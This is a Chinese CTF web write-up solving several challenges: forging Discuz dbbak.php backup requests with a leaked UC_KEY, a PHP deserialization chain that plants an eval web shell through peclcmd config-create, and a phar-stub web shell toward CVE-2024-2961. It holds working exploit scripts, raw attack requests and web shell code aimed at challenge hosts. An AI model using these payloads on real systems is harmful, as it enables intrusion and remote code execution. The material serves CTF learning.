web
我曾有一份工作
通过扫描器可以发现源码泄露,下载源码
通过翻找我们可以找到api/db
目录下的dbbak.php
可以发现其主要逻辑,其请求参数为code和apptype
这里使用了UC_KEY加密参数
KEY的位置在./config/config_ucenter.php
我们可以利用_authcode
function和encode_arr
function获得code,再备份
这里可以看到需要的参数是time
和method
备份的逻辑在export
中
获得code的代码
<?php
define('UC_KEY', 'N8ear1n0q4s646UeZeod130eLdlbqfs1BbRd447eq866gaUdmek7v2D9r9EeS6vb');
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0)
{
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for ($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for ($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if ($operation == 'DECODE') {
if (((int)substr($result, 0, 10) == 0 || (int)substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) === substr(md5(substr($result, 26) . $keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc . str_replace('=', '', base64_encode($result));
}
}
function encode_arr($get)
{
$tmp = '';
foreach ($get as $key => $val) {
$tmp .= '&' . $key . '=' . $val;
}
return _authcode($tmp, 'ENCODE', UC_KEY);
}
$get = array('time' => time(), 'method' => 'export');
$enc = encode_arr($get);
echo urlencode($enc);
请求
http://gz.imxbt.cn:20918/api/db/dbbak.php?code=ad38XUllgLaHNV6Vr8Q4IhxplWxHSsEUAHV4mrIbAzAbVarpo8HcWNZKfMMuJIFshPb4GiFVhaH1ZJM&apptype=discuzx
获得备份
然后题目给出提示flag在pre_a_flag
中
Ekko_note
主要考点是这一篇文章
https://www.cnblogs.com/LAMENTXU/articles/18921150
但是得下python 3.14这里就不复现了,这里主要的考点就在这个uuid8的不安全(生成全部都使用了伪随机数)
def uuid8(a=None, b=None, c=None):
"""Generate a UUID from three custom blocks.
* 'a' is the first 48-bit chunk of the UUID (octets 0-5);
* 'b' is the mid 12-bit chunk (octets 6-7);
* 'c' is the last 62-bit chunk (octets 8-15).
When a value is not specified, a pseudo-random value is generated.
"""
if a is None:
import random
a = random.getrandbits(48)
if b is None:
import random
b = random.getrandbits(12)
if c is None:
import random
c = random.getrandbits(62)
int_uuid_8 = (a & 0xffff_ffff_ffff) << 80
int_uuid_8 |= (b & 0xfff) << 64
int_uuid_8 |= c & 0x3fff_ffff_ffff_ffff
# by construction, the variant and version bits are already cleared
int_uuid_8 |= _RFC_4122_VERSION_8_FLAGS
return UUID._from_int(int_uuid_8)
Your Uns3r
<?php
highlight_file(__FILE__);
class User
{
public $username;
public $value;
public function exec()
{
if (strpos($this->value, 'S:') === false) {
$ser = serialize(unserialize($this->value));
$instance = unserialize($ser);
if ($ser != $this->value && $instance instanceof Access) {
include($instance->getToken());
}
} else {
throw new Exception("wanna ?");
}
}
public function __destruct()
{
if ($this->username == "admin") {
$this->exec();
}
}
}
class Access
{
protected $prefix;
protected $suffix;
public function getToken()
{
if (!is_string($this->prefix) || !is_string($this->suffix)) {
throw new Exception("Go to HELL!");
}
$result = $this->prefix . 'lilctf' . $this->suffix;
if (strpos($result, 'pearcmd') !== false) {
throw new Exception("Can I have peachcmd?");
}
return $result;
}
}
$ser = $_POST["user"];
if (stripos($ser, 'admin') !== false || stripos($ser, 'Access":') !== false) {
exit ("no way!!!!");
}
$user = unserialize($ser);
throw new Exception("nonono!!!");
Fatal error: Uncaught exception 'Exception' with message 'nonono!!!' in /var/www/html/index.php:52 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 52
这题知识点还是很多的
先是在构造反序列化的字符串可以使用十六进制编译,这里就是;s:5:"admin"
替换为;S:5:"\61dmin"
然后这里还有serialize(unserialize($this->value)) !== $this->value
我们可以通过__PHP_Incomplete_Class
绕过
当pearcmd.php
被禁用,我们可以使用peclcmd.php
代替,这个是平替
最后还要利用fast destruct
payload
<?php
class User
{
public $username;
public $value;
}
class Access
{
protected $prefix = '/usr/local/lib/';
protected $suffix = '/../php/peclcmd.php';
}
$a = new User;
$a->username = 'admin';
$b = new Access;
$c = serialize($b);
$d = str_replace('O:6:"Access":2:', 'O:22:"__PHP_Incomplete_Class":3:', $c);
$e = str_replace('}', 's:27:"__PHP_Incomplete_Class_Name";s:6:"Access";}', $d);
// print_r($e);
// print("\n");
$a->value = $e;
$fin = serialize($a);
$finall = str_replace('s:5:"admin"', 'S:5:"\61dmin"', $fin);
print_r(urlencode($finall));
包:
POST /index.php?+config-create+/<?=eval($_POST['a']);?>+/var/www/html/index.php HTTP/1.1
Host: gz.imxbt.cn:20219
Content-Length: 391
Pragma: no-cache
Cache-Control: no-cache
Origin: http://gz.imxbt.cn:20217
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://gz.imxbt.cn:20217/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: keep-alive
user=O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3BS%3A5%3A%22%5C61dmin%22%3Bs%3A5%3A%22value%22%3Bs%3A164%3A%22O%3A22%3A%22__PHP_Incomplete_Class%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00prefix%22%3Bs%3A15%3A%22%2Fusr%2Flocal%2Flib%2F%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A19%3A%22%2F..%2Fphp%2Fpeclcmd.php%22%3Bs%3A27%3A%22__PHP_Incomplete_Class_Name%22%3Bs%3A6%3A%22Access%22%3B%7D%22%3B&a=system('/readflag');
php_jail_is_my_cry
<?php
if (isset($_POST['url'])) {
$url = $_POST['url'];
$file_name = basename($url);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
if ($data) {
file_put_contents('/tmp/'.$file_name, $data);
echo "文件已下载: <a href='?down=$file_name'>$file_name</a>";
} else {
echo "下载失败。";
}
}
if (isset($_GET['down'])){
include '/tmp/' . basename($_GET['down']);
exit;
}
// 上传文件
if (isset($_FILES['file'])) {
$target_dir = "/tmp/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
$orig = $_FILES["file"]["tmp_name"];
$ch = curl_init('file://'. $orig);
// I hide a trick to bypass open_basedir, I'm sure you can find it.
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
if (stripos($data, '<?') === false && stripos($data, 'php') === false && stripos($data, 'halt') === false) {
file_put_contents($target_file, $data);
} else {
echo "存在 `<?` 或者 `php` 或者 `halt` 恶意字符!";
$data = null;
}
}
?>
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件下载工具</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
}
.container {
background: white;
padding: 40px;
border-radius: 15px;
box-shadow: 0 15px 35px rgba(0, 0, 0, 0.1);
max-width: 500px;
width: 90%;
}
h1 {
text-align: center;
color: #333;
margin-bottom: 30px;
font-size: 2.2em;
font-weight: 300;
}
.form-group {
margin-bottom: 25px;
}
label {
display: block;
margin-bottom: 8px;
color: #555;
font-weight: 500;
}
input[type="text"] {
width: 100%;
padding: 15px;
border: 2px solid #e1e1e1;
border-radius: 8px;
font-size: 16px;
transition: border-color 0.3s ease;
}
input[type="text"]:focus {
outline: none;
border-color: #667eea;
box-shadow: 0 0 0 3px rgba(102, 126, 234, 0.1);
}
/* 选项卡样式 */
.tabs {
display: flex;
margin-bottom: 30px;
border-bottom: 2px solid #f1f1f1;
}
.tab-button {
flex: 1;
padding: 15px;
border: none;
background: transparent;
color: #666;
font-size: 16px;
font-weight: 600;
cursor: pointer;
border-bottom: 3px solid transparent;
transition: all 0.3s ease;
}
.tab-button.active {
color: #667eea;
border-bottom-color: #667eea;
background: rgba(102, 126, 234, 0.05);
}
.tab-button:hover {
color: #667eea;
background: rgba(102, 126, 234, 0.05);
}
.tab-content {
display: none;
}
.tab-content.active {
display: block;
}
/* 文件上传样式 */
.file-input-wrapper {
position: relative;
display: block;
}
input[type="file"] {
position: absolute;
opacity: 0;
width: 100%;
height: 100%;
cursor: pointer;
}
.file-input-label {
display: block;
padding: 40px 20px;
border: 2px dashed #e1e1e1;
border-radius: 8px;
text-align: center;
cursor: pointer;
transition: all 0.3s ease;
background: #fafafa;
}
.file-input-label:hover {
border-color: #667eea;
background: rgba(102, 126, 234, 0.05);
}
.file-input-wrapper.dragover .file-input-label {
border-color: #667eea;
background: rgba(102, 126, 234, 0.1);
transform: scale(1.02);
}
.file-input-wrapper.has-file .file-input-label {
border-color: #28a745;
background: rgba(40, 167, 69, 0.05);
color: #28a745;
}
button {
width: 100%;
padding: 15px;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white;
border: none;
border-radius: 8px;
font-size: 16px;
font-weight: 600;
cursor: pointer;
transition: transform 0.2s ease, box-shadow 0.2s ease;
}
button:hover {
transform: translateY(-2px);
box-shadow: 0 8px 25px rgba(102, 126, 234, 0.3);
}
button:active {
transform: translateY(0);
}
.result {
margin-top: 25px;
padding: 15px;
border-radius: 8px;
text-align: center;
}
.success {
background-color: #d4edda;
color: #155724;
border: 1px solid #c3e6cb;
}
.error {
background-color: #f8d7da;
color: #721c24;
border: 1px solid #f5c6cb;
}
.result a {
color: #007bff;
text-decoration: none;
font-weight: 600;
}
.result a:hover {
text-decoration: underline;
}
.loading {
display: none;
text-align: center;
margin-top: 15px;
}
.spinner {
border: 3px solid #f3f3f3;
border-top: 3px solid #667eea;
border-radius: 50%;
width: 30px;
height: 30px;
animation: spin 1s linear infinite;
margin: 0 auto 10px;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
.tip {
background-color: #f8f9fa;
border: 1px solid #dee2e6;
border-radius: 8px;
padding: 15px;
margin-top: 20px;
color: #6c757d;
font-size: 14px;
}
.tip strong {
color: #495057;
}
</style>
</head>
<body>
<div class="container">
<h1>🚀 文件管理工具</h1>
<div class="tabs">
<button class="tab-button active" onclick="switchTab('download')">📥 下载文件</button>
<button class="tab-button" onclick="switchTab('upload')">📤 上传文件</button>
</div>
<!-- 下载表单 -->
<div id="downloadTab" class="tab-content active">
<form method="post" id="downloadForm">
<div class="form-group">
<label for="url">📎 文件URL地址:</label>
<input type="text" id="url" name="url" placeholder="请输入要下载的文件URL..." required>
</div>
<button type="submit" id="submitBtn">
<span id="btnText">开始下载</span>
</button>
<div class="loading" id="loading">
<div class="spinner"></div>
<p>正在下载中,请稍候...</p>
</div>
</form>
</div>
<!-- 上传表单 -->
<div id="uploadTab" class="tab-content">
<form method="post" enctype="multipart/form-data" id="uploadForm">
<div class="form-group">
<label for="file">📁 选择文件:</label>
<div class="file-input-wrapper">
<input type="file" id="file" name="file" required>
<label for="file" class="file-input-label">
<span id="file-label-text">点击选择文件或拖拽文件到此处</span>
</label>
</div>
</div>
<button type="submit" id="uploadBtn">
<span id="uploadBtnText">开始上传</span>
</button>
<div class="loading" id="uploadLoading">
<div class="spinner"></div>
<p>正在上传中,请稍候...</p>
</div>
</form>
</div>
<?php if (isset($_POST['url'])): ?>
<div class="result <?php echo $data ? 'success' : 'error'; ?>">
<?php if ($data): ?>
✅ 文件下载成功!<br>
<a href="<?php echo ($file_name); ?>" download>📥 点击下载: <?php echo ($file_name); ?></a>
<?php else: ?>
❌ 下载失败,请检查URL是否正确或稍后再试。
<?php endif; ?>
</div>
<?php endif; ?>
<?php if (isset($_FILES['file'])): ?>
<div class="result <?php echo (stripos($data, '<?') === false && stripos($data, 'halt') === false) ? 'success' : 'error'; ?>">
<?php if (stripos($data, '<?') === false && stripos($data, 'halt') === false): ?>
✅ 文件上传成功!<br>
<a href="?down=<?php echo ($target_file); ?>">📥 点击下载: <?php echo ($target_file); ?></a>
<?php else: ?>
❌ 上传失败,文件包含恶意字符或格式不正确。
<?php endif; ?>
</div>
<?php endif; ?>
</div>
<script>
// 选项卡切换功能
function switchTab(tabName) {
// 移除所有活动状态
document.querySelectorAll('.tab-button').forEach(btn => btn.classList.remove('active'));
document.querySelectorAll('.tab-content').forEach(content => content.classList.remove('active'));
// 添加活动状态
document.querySelector(`[onclick="switchTab('${tabName}')"]`).classList.add('active');
document.getElementById(tabName + 'Tab').classList.add('active');
}
// 下载表单处理
document.getElementById('downloadForm').addEventListener('submit', function(e) {
const button = document.getElementById('submitBtn');
const loading = document.getElementById('loading');
const btnText = document.getElementById('btnText');
// 显示加载状态
button.disabled = true;
btnText.textContent = '下载中...';
loading.style.display = 'block';
});
// 上传表单处理
document.getElementById('uploadForm').addEventListener('submit', function(e) {
const button = document.getElementById('uploadBtn');
const loading = document.getElementById('uploadLoading');
const btnText = document.getElementById('uploadBtnText');
// 显示加载状态
button.disabled = true;
btnText.textContent = '上传中...';
loading.style.display = 'block';
});
// 文件选择处理
document.getElementById('file').addEventListener('change', function(e) {
const wrapper = this.closest('.file-input-wrapper');
const label = document.getElementById('file-label-text');
if (e.target.files.length > 0) {
const fileName = e.target.files[0].name;
label.textContent = `已选择: ${fileName}`;
wrapper.classList.add('has-file');
} else {
label.textContent = '点击选择文件或拖拽文件到此处';
wrapper.classList.remove('has-file');
}
});
// 拖拽上传功能
const fileInputWrapper = document.querySelector('.file-input-wrapper');
const fileInput = document.getElementById('file');
['dragenter', 'dragover', 'dragleave', 'drop'].forEach(eventName => {
fileInputWrapper.addEventListener(eventName, preventDefaults, false);
});
function preventDefaults(e) {
e.preventDefault();
e.stopPropagation();
}
['dragenter', 'dragover'].forEach(eventName => {
fileInputWrapper.addEventListener(eventName, highlight, false);
});
['dragleave', 'drop'].forEach(eventName => {
fileInputWrapper.addEventListener(eventName, unhighlight, false);
});
function highlight(e) {
fileInputWrapper.classList.add('dragover');
}
function unhighlight(e) {
fileInputWrapper.classList.remove('dragover');
}
fileInputWrapper.addEventListener('drop', handleDrop, false);
function handleDrop(e) {
const dt = e.dataTransfer;
const files = dt.files;
if (files.length > 0) {
fileInput.files = files;
// 触发 change 事件
fileInput.dispatchEvent(new Event('change'));
}
}
// 输入框焦点效果
document.getElementById('url').addEventListener('focus', function() {
this.style.transform = 'scale(1.02)';
});
document.getElementById('url').addEventListener('blur', function() {
this.style.transform = 'scale(1)';
});
// 页面加载时检查是否有上传结果,如果有则切换到上传选项卡
window.addEventListener('load', function() {
<?php if (isset($_FILES['file'])): ?>
switchTab('upload');
<?php endif; ?>
});
</script>
</body>
</html>
- 利用 phar include gz 压缩解析漏洞上马 (仅能通过 curl 读文件, file_put_contents 写文件)
- 利用 curl 绕过 open_basedir 读取 /proc/self/maps
- 利用 include 函数拆解 payload 打 CN-EXT (CVE-2024-2961)
这题算比较难的了,很多知识点有得学一学
这里面有很多的函数都被ban
了,我们先利用phar include gz
压缩解析漏洞上马
具体讲解可以看
https://xz.aliyun.com/news/18584
我们这里编写phar的payload
<?php
$phar = new Phar('payload.phar');
$phar->startBuffering();
$phar->setStub('
<?php echo 12121;
if ($_GET[0] == 0) {
file_put_contents($_POST[0], $_POST[1]);
}
if ($_GET[0] == 1) {
$orig = $_POST[0];
$ch = curl_init($orig);
curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
echo $data;
curl_close($ch);
}
__HALT_COMPILER();
');
$phar->addFromString('qiuyuyang', '111');
$phar->stopBuffering();